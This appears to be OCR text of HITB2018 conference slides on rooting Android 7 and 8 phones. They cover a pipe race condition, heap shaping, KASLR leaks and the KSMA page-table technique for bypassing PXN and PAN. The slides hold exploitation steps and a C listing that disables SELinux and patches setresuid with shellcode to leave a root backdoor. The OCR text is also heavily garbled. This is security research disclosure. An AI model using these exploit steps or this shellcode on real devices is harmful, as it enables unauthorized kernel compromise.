(chars > total_len)
chars = total_len;

error = ops—>confirm(pipe, buf);
(error) {
(!ret)
ret = error;

}

written = copy_page_to_iter(buf->page, buf—>offset, chars, to);
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Pipe subsystem

* Time Of Check To Time Of Use

e The value and time are controllable when reading/writing

o rea dV/W ritev a pi pe fi Ie size_t copy_page_to_iter_iovec(struct page *page, size_t offset, size_t bytes,

struct iov_iter xi)
* Allocate, import iovecs and check boundary [REEEEEE AR
143 char __user *buf;
* Invoke pipe_read/write callback s e
. . 147 bytes = i->count;
« No data/space blocking in callback -l rre—

0;

 No other boundary check 52 vented = bytes;
153 iov = i->iov;
154 skip = i->iov_offset;
buf = iov->iov_base + skip;
copy = min(bytes, iov->iov_len - skip);

(!fault_in_pages_writeable(buf, copy)) {
kaddr = kmap_atomic(page);
from = kaddr + offset;

left = __copy_to_user_inatomic(buf, from, copy);
copy —= LerT;
skip += copy;
from += copy;
bytes -= copy;

(unlikely(!left & bytes)) {
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Pipe subsystem

e Time Of Check To Time Of Use

e The value and time are controllable when reading/writing

* readv/writev a pipe file
 Allocate, import iovecs and check boundary
* Invoke pipe read/write callback
* No data/space blocking in callback
 No other boundary check

* IOVECs - ideal victim object

User_addr lov_len=8 iov_len=8
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* Target kernel address may contain 0’ bytes
e OXFFFFFFCOOODOE1CC

* kernel data contains ideal callback pointers

thomaskingdeMacBook-Pro:msm thomasking$ cat System.map |grep "A _data"
ffffffc00151f000 A _data

thomaskingdeMacBook-Pro:msm thomasking$ cat System.map |grep "A _end"
ffffffco01la36000 A _end

* Spawn lots of threads
* The reading/writing threads block in callback function

HITB2018AMS Pandora Lab of Ali security



|deal heap layout

Kmalloc-256

iovs

iovs

event iovs

ORONONOROXQ,
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Shape the heap

* Many ‘hole’s in the heap

Obj-A Obj-B

Obj-C

e Fill with events
e Full list

Obj-A Obj-B

 New empty list

Obj-C
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Merge or not

* Freed buffer holes ;
. . . . . . ?: | bool event_compare(gtruct fsnotify_event xold_fsn,
* Trigger notifications with different actions 1 Struct Tsnotity event #new fsn)
* Not merge

struct inotify_event_info *old, xnew;

(old_fsn->mask & FS_IN_IGNORED)
false;
old = INOTIFY_E(old_fsn);
= INOTIFY_E(new_fsn);

. / ol i e T
* Freed-iovec buffers are not enough ~ (oLd_faninade == ne fon-»inode) &
50 (old->name_len == new->name_len) &&
e Trigger notifications with a same action oo [l e i - S

false;
 Merge

int inotify_merge(struct list_head xlist,
struct fsnotify_event xevent)

struct fsnotify_event xlast_event;

last_event = list_entry(list->prev, struct fsnotify_event, list);
event_compare(last_event, event);
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Bypassing PXN

Kernel space

tmx fO S EXPORT kernel_sock_ioctl
p — p C h ec k f I a gS kernel_sock_ioctl ; CODE XREF: socket_init_work_£n+208%p
— ; cntl_socket_init_work_f£n+94Tp

v 10 = -0x10
var_ s( = 0
STP X20, X19, [SP,#-0x10+var_10]!
STP X29, X30, [SP,#0xl1l0+var_sO]
ADD X29, SP, #0x10
MRS X19, #0, c4, cl, #0
MOV X8, #O0XFFFFFFFFFFFFFFFF
LDR X20, [X19,#8]
STR X8, [X19,#8]
LDR X8, [X0,#0x28]
LDR X8, [X8,#0x48]
BLR X8
. STR X20, [X19,#8]
0x40002000 LDP X29, X30, [SP,#0x10+var s0]

LDP X20, X19, [SP+0x10+var_10],#0x20

0X40002028 OX40002000 End of functioﬁEEernel_sock_ioctl
0x40002048 kernel_sock_ioctl _end

User space
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Android 7 devices

* Exploitation steps
» Step O: Prepare resources and fill the buffer holes
» Step 1: Spawn reading threads and shape the heap with iovec objects
e Step 2: Spawn race threads

» Step 3: Win the race
e fentl(ptmx_fd, F_SETFL, 0x40002000) == 0x40002000

» Step 4: Overwrite uid, disable SELinux and spawn a ROOT shell
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Android 8 devices

* Kernel Address Space Layout Randomization
* kernel 4.4 (Pixel 2)

* Privileged Access Never
* ARMvVS8.0 - Emulated
* ARMv8.1 - Hardware feature
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Bypassing KASLR

* Use objects instead of payload data e
* Kernel func/data pointer at the offset 16 atomic_t count;
No overflow ; struct rcu_head head;
[ J A A u;

unsigned char namel[];

* No such object & }|

Object-x Object-x - Object-x
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Bypassing KASLR

* After a few days...
* ‘inode’ field is at the offset 0x10 of event
* ‘inode’s are allocated in another heap

struct inotify_event_info {
struct fsnotify_event fse;
int wd;
u32 sync_cookie;
int name_len;
char namel[];

S
b
y
8
9
0
|

struct fsnotify_event {
struct list_head 1list;

struct inode xinode;
u32 mask;

}l
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Bypassing KASLR

* After a few days... struct inode {
_ ) e ' umode_t i_mode;
e ‘inode’ field is at the offset 0x10 of event unsigned short i_opflags;
.. , . kuid_t i uid;
* ‘inode’s are allocated in another heap kgid_t i_gid;

unsigned int i_flags;

lo

* ‘i_op’ callback — kernel data pointer

CONFIG_FS_POSIX_ACL
struct posix_acl *x1_acl;

. struct posix_acl xi_default_acl;
* Kernel slide: |

e Stagel: leak the address of a inode Strc thinoneoperation s e

e Stage2: read ‘i_op’ of this inode struct super_block xi_sb;
- struct address_space *1i_mapping;

CONFIG_SECURITY
void *1_security;
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PAN mitigation

Ke rne I S p ace EXPORT kernel_sock_ioctl

kernel_sock_ioctl CODE XREF: socket_init_work_£fn+208tp

; cntl_socket_init_work_fn+94Tp

tmx fo S var_10 = -0x10
PEMX_Iop check_flags var_s0 =0

'STP X20, X19, [SP,#—0x10+var_10]!

STP X29, X30, [SP,#0xl10+var_sO]

ADD X29, SP, #0x10

MRS X19, #0, c4, cl, #0

MOV X8, #0xFFFFFFFFFFFFFFFF

LDR X20, [X19,#8]

H STR X8, [X19,#8]
kernel_sock_ioctl oox X8 1x0 Fox28T )

LDR X8, [X8,#0x48]

BLR X8

STR X20, [X19,#8]

X29, X30, [SP,#0x10+var_sO]
X20, X19, [SP+0x10+var_10],#0x20

())(Zl()()():Z()()() ion k(&rlle]z_S()ClE_i()C1:l
OX40002028 0X40002000 [““%65.994472] c@O 3947 Internal error: Accessing user space memory with fs=KERNEL_DS: 96000005 [#1

Il PREPMPT SMP
765.994517] Modules linked in:
765.994543] CPUS0© PID: 3947 Comm: Oreo_test Tainted: "G W 3.18.52-gf69ee35-

0x40002048 kernel_sock_ioctl_end

Hardware name: HTC Corporation. MSM8996pro W11 + PMI8996 Sailfish A (DT)
task: ffffffc052a44100 ti: ffffffcOf2cb0000 "task.ti: ffffffcOf2cbOOOO
PC is at kernel_sock_ioctl+0x2 64
LR is at SyS_fcntl+0xlbc/0x574
pc : [<ffffffcOOOda7d88>] 1r : [<ffffffcOOO1f7004>] pstate: 60400145
X sp : ffffffcOf2cb3ed0d
User‘ Space ’ S ffffcOf2cb3e40 x28: ffffffcOf2cb0000O
. S fffffc000fde000 x26: 0000000000000019

© 0000000000000003 x24: 0000000040002000

: ffffffc00199c000 ; 0000000000000000

: 0000000000000004 L ffffffc052e27900
EELYEYA : FEfFFFEFffFFffffff x18: 000000009abb22c9
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PXN and PAN

* Construct another ROP/JOP chain
e X0 is fully controllable
* Writing additional payload for chain increases the crash rate

* CVE-2017-13164 (Discovered by me in 2016, fixed in Dec 2017)

e Born with Binder
* Leak a kernel address filled with any payload reliably(< 4K)

e Goal

* Only a vulnerability
* No ROP/JOP chain
* Bypassing PXN and PAN
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https://source.android.com/security/bulletin/pixel/2017-12-01

* Kernel Space Mirroring Attack — KSMA
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Linux Page Table layout

Offset within Offset within Offset within Offset within
Process PGD PMD Page Frame PTE Page Frame Data Frame

pte_offset()

pmd_offset() :
pgd_offset() ( pgd_t
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ARMV8-64 address translation

* For Android
o 4KB granule

e 39-bit (512GB)
* Three levels

* TTBRx
e TTBRO - user address

« Up to 0x0000_007F FFFF_FFFF

e TTBR1 - kernel address

HITB2018AMS

e Start from OxFFFF_FF80 0000 0000

63 " 4847 [ 1211 .« 0
§ i i
Register-defined | Translation table base address[47:12] l RESO* l
if if > 35
) S —
47 1211 M 32 0
)
I l [o09]
4
c 4
Level 1 lookup
7 S
63 5958 5251 4847 " 1211 « 210
i i i 4
Properties | IGNORED I RESO I Level 2 table address[47:12] I IGNORED I1 1‘
n m m m
i if i ~ if

X

L

12 11

S

3 2 0
[, Jooo]
? /

Level 2 lookup

4
63 5958 5251 4847

1211 . 210

3 i
Properties | IGNORED | RESO I
m m
i i

Level 3 table address[47:12]

I IGN?"RED |11|
~ §

X

i

4
47 12111 @ 32 0
I [ , Tooq
\ ? /
Level 3 lookup
63 ,, 5251 4847 “ 1211 ,, 210
Propﬁrties I RE“SO I Output add{ess[47:12] Propﬁ/ﬁes |1 1|
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Input address

Descriptor
address

Level 1
Table descriptor

Descriptor
address

Level 2
Table descriptor

Descriptor
address

Level 3
Page descriptor



Descriptor formats

* ARMv8-64 level O, level 1, and level 2 descriptor formats

63 N 10
Invalid IGNORED 0
63 y 52 51 48 47 B n n-1 B 1211 y 2010
Block | Upper block attributes RESO Output adaress[47:n] RESO Lower block attributes| O
With the 4KB granule size, for the level 1 descriptor n is 30, and for the level 2 descriptor, nis 21.
With the 16KB granule size, for the level 2 descriptor, n is 25.
With the 64KB granule size, for the level 2 descriptor, n is 29.
NSTable
APTable Stage 1 only,
XNTable RESO at stage 2
— PXNTable
636261605958 5251 48 47 ; m m-1 N 210
Table IGNORED |  RESO Next-level table address[47:m]’ IGNORED 1
Yy Y Y

With the 4KB granule size m is 12, with the 16KB granule size m is 14, and with the 64KB granule size, m is 16.

A level 0 Table descriptor returns the address of the level 1 table.
A level 1 Table descriptor returns the address of the level 2 table.
A level 2 Table descriptor returns the address of the level 3 table.

T When m = 12, bits [m:12] are RESO.

HITB2018AMS
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Descriptor formats

* ARMv8-64 level 3 descriptor format

Invalid

Reserved

Page, 4KB granule

Page, 16KB granule

Page, 64KB granule

63 B
IGNORED
63 (« 2
Ré%O
63 ) 52 51 48 47 ) 12 11 . 2
Upper’ e}:ttributes RESO Output add:ress[47:12] Lower' é:ttributes
63 ) 52 51 48 47 ) 14 13 12 11 ) 2
Upper' :ttributes RESO Output add::ress[47:14] t | Lower é:ttributes
63 ) 52 51 48 47 ) 16 15 1211 ) 2
Upper' é:ttributes RESO Output add:ress[47:16] RESO Lower' é:ttributes

J

T Upper page attributes and Lower page attributes

1 Field is RESO

)
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General view of address translation

Level 3 table
Level 2 table
4KB
D_Page memory
2MB —
Level 1 table D_Block region 3 page
D Table *:
D Block |» 0B | ==
Level O table region P
D _Table v,

D_Table is a Table descriptor
D_Block is a Block descriptor
D_Page is a Page descriptor
a Indexed by IA[n:39], where |IA width is (n+1) bits
b Indexed by IA[38:30]
¢ Indexed by 1A[29:21]
d Indexed by IA[20:12]

<« T >

\ 4

D_Table

-« >

TTBR | >

No level 0 table for Android
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Attribute fields for RWX

* UXN or XN (Exception Level 0 & 1)

* Not executable in same translation regime

Attribute fields for VMSAv8-64 stage 1 Block and Page descriptors

Upper attributes Lower attributes

® PXN 63 59 58 55 54 53 52 11109 8 7 6 5 4 2
bl t ELl IGNORED IGNORED
i N Ot eXECUta e a Reserved for software use —— nG -
UXN or XN t 4, | AF /‘

PXN SH[1:0]

Contiguous AP[2:1]

. NS

¢ A P [2 . 1] Attrindx[2:0]

T UXN for the EL1&0 translation regime, XN for the other regimes.

e Data Access Permissions
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Data access permission

e ‘00’ Data access permissions for stage 1 of the EL1&0 translation regime,
* Kernel data region AP[2:1] Access from EL1  Access from ELO
° {10’ | 00 Read/write None
» Kernel text region [ 01 Read/write Read/write ]
* 101’ and {11’ 10 Read-only None
» Seem useless because of PAN 1 Read-only Read-only

IOlI
e A way to read/write the kernel virtual address
* Easy way to bypass PXN and PAN!

* Never appeared
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Craft ‘01" combination

* Modify AP[2:1] attributes of a kernel address
e Look up each level of page table
* Find the address of the associated page table entry
* Set ‘01’ combination

* Walk the page table
 Ability of arbitrary kernel memory reading/overwriting required

* Do you really need to walk the page table?
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Principle of KSMA

Start of 1GB region Level 1 table

FFFFFFFFCO000000

FFFFFFC240000000
FFFFFFC200000000

FFFFFFC1CO000000
FFFFFFC180000000

FFFFFFC140000000

Physical memory
(3GB)

Text and DataI Freed Pages Freed Pages

FFFFFFCO80000000 D_Table
FFFFFFCO40000000 D_Table
FFFFFFCO00000000 D_Table

D_Table is a Table descriptor
D_Block is a Block descriptor

FFFFFF8000000000
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Principle of KSMA

Start of 1GB region Level 1 table
FFFFFFFFCO000000
FFFFFFC230002000
FFFFFFC240000000 AP[2:1] = ‘01’ R/W from ELO & EL1, break kernel isolation
FFFFFFC200000000
FFFFFFC1C0000000 ' PA: 30002000
FFFFFFC180000000 Physical memory
CEEEFECL140000000 Freed Pages Freed Pages (3GB)

FFFFFFC080000000 D_Table
FFFFFFC040000000 D_Table
FFFFFFC000000000 D_Table R/W from EL1

D_Table is a Table descriptor

FFFFFFCO30002000 D_Block is a Block descriptor

FFFFFF8000000000
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KSMA without KASLR

* Where to add a special block descriptor
o swapper_pg_diris the pgd for the kernel

e Kernel mirroring base

* Entry address
* swapper_pg_dir + (Kernel_Mirroring_Base / 1G) * 8

* Kaddr to Mirroring Kaddr
e Mirroring_kaddr = Kernel_Mirroring_Base + (kaddr - PAGE_OFFSET)
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KSMA with KASLR

* Where to add a special block descriptor
e swapper_pg_dir is the pgd for the kernel

e Kernel mirroring base

* Entry address
* (swapper_pg_dir + kernel_slide) + (Kernel_Mirroring_Base / 1G) * 8

* Kaddr to Mirroring Kaddr
* Mirroring_kaddr = Kernel _Mirroring_Base + (kaddr - PAGE_OFFSET)
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ReVent with KSMA

* Exploitation for Android 8(with KASLR)

e Stage 1-2: Leak kernel heap and data pointers, calculate the kernel slide
e Stage 3:
» Stepl: Prepare a special block descriptor
Step2: Calculate the entry address (No ‘0O’ bytes)
Step3: Spawn race threads and win the race

Step4: Disable SELinux
* Write ‘0O’ to the mirroring addresses of ‘selinux_enable’ and ‘selinux_enforcing’

Step5: Patch a syscall
» Write shellcode to the mirroring address

Step6: Invoke the syscall and spawn a ROOT shell

* Bypassing PXN and PAN
* Bypassing ‘post-init read-only memory’ constraint
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Access kernel from ELO
ey

20 int main(int argc, char sargv[]){ 53 void patch_syscall(unsigned long mirror_kaddr){
21 unsigned Tong selinux_enable_mirror_addr = ka2mirror_ka(selinux_enable_addr, kernel_mirror_base); 54 unsigned int *p = (unsigned int x)mirror_kaddr;
22 unsigned long selinux_enforcing_mirror_addr = ka2mirror_ka(selinux_enforcing_addr, kernel_mirror_base); 55 -
gi unsigned long sys_setresuid_mirror_addr = ka2mirror_ka(sys_setresuid_addr, kernel_mirror_base); 56 xp = 0x02822224; pH;
25 | 57 *p = 0xeb04001f; p++;
26 printf("selinux_enable mirror address: %lx\n", selinux_enable_mirror_addr); 58 *p = 0x54000261; p++;
27 - . ‘
%g printf("selinux_enforcing mirror address: %1x\n", selinux_enforcing_mirror_addr); gg :g ; gigﬁgjgggi: B::
30 printf("sys_setresuid mirror address: %lx\n", sys_setresuid_mirror_addr); 61 *p = 0x54000201; p++;
g% 62 *p = 0xd2866664; p++;

, ; o 63 xp = 0xeb04005f; pH
33 printf("[+] Disable selinux directly.\n"); . )
34 %(unsigned int %)selinux_enable_mirror_addr = 0; b4 Xp = 0x540001al; P+
35 x(unsigned int %)selinux_enforcing_mirror_addr = 0; 65 ¥p = 0x910003e0; p++;
g? 66 ¥p = 0x9272¢401; p++;

, , . 67 xp = 0x9400822; p+
38 printf("[+] Patch syscall setresuid, and leave a Rooting backdoor.\n"); . .
39 patch_syscall(sys_setresuid_mirror_addr); 68 xp = 0x9437043; pH+;
40 69 xp = 0x2900fc7f; p++;
jg 70 xp = 0x2901Fc7f; p++;

, ) 71 xp = 0x2902fc7f; p++;
43 printf("[+] Get root from Rooting backdoor.\n"); . .
M setresuid(Bx1111, 0x2222, 0x3333); 12 *p = 0Q03FCTE;  p
45 13 *p = 0x92800001; p++;
jg (getgiw =[=]0%{ oot shelli ) 74 *p = 0xa9028461; p++;

e B e 8 Lo IRl 75 %p = 0xad038461; p+;

33 ; execl("/system/bin/sh", "/system/bin/sh", NULL); 76 X0 = OxFO00261; pe+:
50 0; 17 *p = 0xd65f03c0; p++;
51} 78 }

*
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KSMA for ARMv7a

O O 31 210
* Section descriptor e Lo
. 31 109 8 543210
[ BI k d pt f A R IVI 8 Page table I Page table base address, bits[31:10] I I Domain l I [ IO I1 I
O c e S C rl O r O V a IMPLEMENTATION DEFINED — sez-
NS
PXN'
31 20191817 161514 121110 9 8 543210
Section|| Section base address, PA[31:20)] I IOI IS[ l I I I Domain l IC]BI 1] ]
[ ) AP[2- 1] —_ (O 1’ NSiPr[\Z(’S]J ‘ ‘ XN- pxNt
° TEX[2:0] g
AP[1:0)
IMPLEMENTATION DEFINED
31 2423 20191817 161514 121110 9 8 543210
Supersection l [ [1] [s] [rexea] || [ [c]e]1] |
LAUIL 17070 SHUM S LS GUAULOD VUKL UL VA, Supersection base address, PA[31:24) NS- nG- ‘ XN- PXNF-
Extended base address, PA[35:32) —Mm————— AP[2]
Table B3-6 VMSAv7 AP[2:1] access permissions model AP[1:0] ———————————
IMPLEMENTATION DEFINED
AP[2], disable write access AP[1], enable unprivileged access Access Extended base address, PA39:36]
0 0a Read/write, only at PL1
0 1 Read/write, at any privilege level
1 0a Read-only, only at PL1
1 1 Read-only, at any privilege level

a. Not valid for Non-secure PL2 stage 1 translation tables. AP[1] is SBO in these tables.
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Rooting Android 8 Demo

HITB2018AMS

Google Pixel 2 XL

(] 4 0413
Window1 ~ @ X

taimen:/data/data/pandora.alisecurity $ id
uid=10123(u0_a123) gid=10123(u0_a123) groups=10123(u0_a12
3),3003(inet), 9997 (everybody),20123(u0_a123_cache),50123(
all_a123) context=u:r:untrusted_app_25:50:¢512,c768
.model &% getprop ro.build.fingerprint <
Pixel 2 XL
google/taimen/taimen:8.0.0/0PD1.170816.025/4424668 :user/r
elease-keys

taimen:/data/data/pandora.alisecurity $ getenforce
getenforce: Couldn't get enforcing status: Permission den
ied

at /proc/version <
cat: /proc/version: Permission denied
1|taimen:/data/data/pandora.alisecurity $ ./exp.shi

23R4S RO N6 E/S RSSO EN()

g w e | op

a s df gh jKk

4 ZzZ xXcvbnm®@aQ

® '
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* Conclusion
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IELGENENR

* AYUV exploitation for Mediaserver is detailed. The ideas of
exploitations are fresh and awesome.

* A new reliable root exploitation technique KSMA is introduced, which
can break Android kernel isolation and bypass both PXN and PAN
mitigations of Android 8.

 Nowadays, rooting large numbers of newest Android devices with a
single vulnerability is becoming more and more difficult and
challenging, but it is still possible.
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